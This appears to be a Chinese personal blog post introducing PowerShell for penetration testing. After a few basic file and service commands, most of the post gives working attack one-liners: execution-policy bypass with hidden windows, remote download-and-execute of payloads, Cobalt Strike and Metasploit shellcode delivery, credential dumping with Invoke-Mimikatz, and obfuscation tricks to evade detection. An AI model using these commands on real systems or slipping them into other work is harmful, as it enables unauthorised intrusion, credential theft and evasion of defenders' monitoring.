Powershell渗透初探

powershell常用命令

帮助

get-help

查看服务状态

get-service
gsv

文件操作

New-Item <name> -ItemType <type>  #新建文件/文件夹,如type为directory或file
Remove-Item <name> #删除指定项目
Get-Content <name> #查看内容
Add-Content <name> -Value "abc" #添加内容
Set-Content <name> -Value "abc" #重写内容
Clear-Content <name> #清除内容

powershell的执行策略默认为为Restrict,此时会受到很大限制。要绕过执行策略,执行时添加参数

-ExecutionPolicy Bypass

在cmd命令行中以bypss策略,隐藏窗口执行powershell命令

powershell -exec bypass -w hidden -c "<powershell-command>" 

远程下载并执行文件

IEX(New-Object Net.WebClient).DownloadFile('http://xxxx.xxx/evil.exe','d:/1.exe')#两个参数为从哪儿下载,新文件位置
Start-Process d:/1.exe

执行远程下载的脚本

IEX(New-Object Net.WebClient).DownloadString('http://xxxx.xxx/1.ps1')

上线cs:

cs生成powershell payload扔进web目录里,目标机器powershell执行

IEX(New-Object Net.WebClient).DownloadString('http://xxxx.xxx/evil')

 

powersploit的使用

贴一张网上大佬的图片

 

把git上的powersploit项目下载并部署到vps的web服务器上

加载mimikatz抓密码:

IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/powersploit/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz  #这里第一次没抓成功,后面用管理员运行psh就抓到了

powersploit配合上线msf:

msfvenom生成ps1🐎然后扔进web目录,msf开启监听

win7的powershell执行以下操作

IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-Shellcode.ps1') #下载shellcode加载脚本
IEX(New-Object Net.WebClient).DownloadString('http://192.168.2.191/evil')#下载shellcode
Invoke-Shellcode -Shellcode ($buf) -Force  #强制执行

上线成功

 powershell绕过

修改函数名

set-alias -name a -value IEX 
a(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-Shellcode.ps1')

命令拆分

$a='((New-Object Net.WebClient).Download'
$b='String('http://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-Shellcode.ps1'))'
IEX($a+$b)

字符串拼接

IEX(New-Object Net.WebClient).DownloadString('htt'+'p://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-Shellcode.ps1')

命令中间加`

I`EX(New-Object Net.WebClient).Down`loadString('http://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-Shellcode.ps1')

base64编码

IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("d2hvYW1pCg==")))  //whoami

利用copy命令bypass

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
bypass.txt -exec bypass -w hidden -c "<powershell-command>"

后面再在靶场里实战使一下子🤠

posted @ 2022-01-20 12:24  Yu_so1dier0n  阅读(150)  评论(0编辑  收藏  举报